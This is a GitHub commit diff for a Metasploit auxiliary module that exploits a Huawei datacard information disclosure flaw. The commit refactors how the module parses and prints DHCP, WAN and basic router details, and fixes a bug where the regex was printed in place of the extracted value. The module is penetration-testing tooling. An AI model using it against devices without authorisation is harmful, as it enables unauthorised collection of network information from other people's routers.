Skip to content

Commit abe9c85

Browse files
committed
Rewrite get_router_dhcp_info
1 parent 70b6f94 commit abe9c85

File tree

1 file changed

+20
-28
lines changed

1 file changed

+20
-28
lines changed

modules/auxiliary/admin/huawei/huawei_wifi_info.rb

Lines changed: 20 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,13 @@ class Metasploit3 < Msf::Auxiliary
3232
'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i
3333
}
3434

35+
DHCP_INFO ={
36+
'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i,
37+
'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i,
38+
'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i,
39+
'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i
40+
}
41+
3542
def initialize(info={})
3643
super(update_info(info,
3744
'Name' => "Huawei Datacard Information Disclosure Vulnerability",
@@ -185,7 +192,7 @@ def get_router_info
185192
print_status("Basic Information")
186193

187194
BASIC_INFO.each do |k,v|
188-
if res.body.match(v)
195+
if resp_body.match(v)
189196
info = $1
190197
print_status("#{k}: #{info}")
191198
end
@@ -271,7 +278,7 @@ def get_router_wan_info
271278
WAN_INFO.each do |k,v|
272279
if resp_body.match(v)
273280
info = $1
274-
print_status("#{k}: #{v}")
281+
print_status("#{k}: #{info}")
275282
end
276283
end
277284
end
@@ -288,40 +295,25 @@ def get_router_dhcp_info
288295
return
289296
end
290297

291-
print_status('---===[ DHCP Details ]===---')
298+
resp_body = res.body.to_s
292299

293-
# Grabbing the DhcpIPAddress
294-
if res.body.match(/<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i)
295-
dhcpipaddress = $1
296-
print_status("LAN IP Address: #{dhcpipaddress}")
297-
end
300+
print_status('DHCP Details')
298301

299302
# Grabbing the DhcpStatus
300-
if res.body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i)
301-
dhcpstatus = $1
302-
print_status("DHCP: #{(dhcpstatus=="1") ? 'ENABLED' : 'DISABLED'}")
303+
if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i)
304+
dhcp_status = $1
305+
print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}")
303306
end
304307

305-
unless dhcpstatus == '1'
308+
unless dhcp_status && dhcp_status == '1'
306309
return
307310
end
308311

309-
# Grabbing the DhcpStartIPAddress
310-
if res.body.match(/<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i)
311-
dhcpstartipaddress = $1
312-
print_status("DHCP StartIPAddress: #{dhcpstartipaddress}")
313-
end
314-
315-
# Grabbing the DhcpEndIPAddress
316-
if res.body.match(/<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i)
317-
dhcpendipaddress = $1
318-
print_status("DHCP EndIPAddress: #{dhcpendipaddress}")
319-
end
320-
321-
# Grabbing the DhcpLeaseTime
322-
if res.body.match(/<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i)
323-
dhcpleasetime = $1
324-
print_status("DHCP Lease Time: #{dhcpleasetime}")
312+
DHCP_INFO.each do |k,v|
313+
if resp_body.match(v)
314+
info = $1
315+
print_status("#{k}: #{info}")
316+
end
325317
end
326318
end
327319

0 commit comments

Comments
 (0)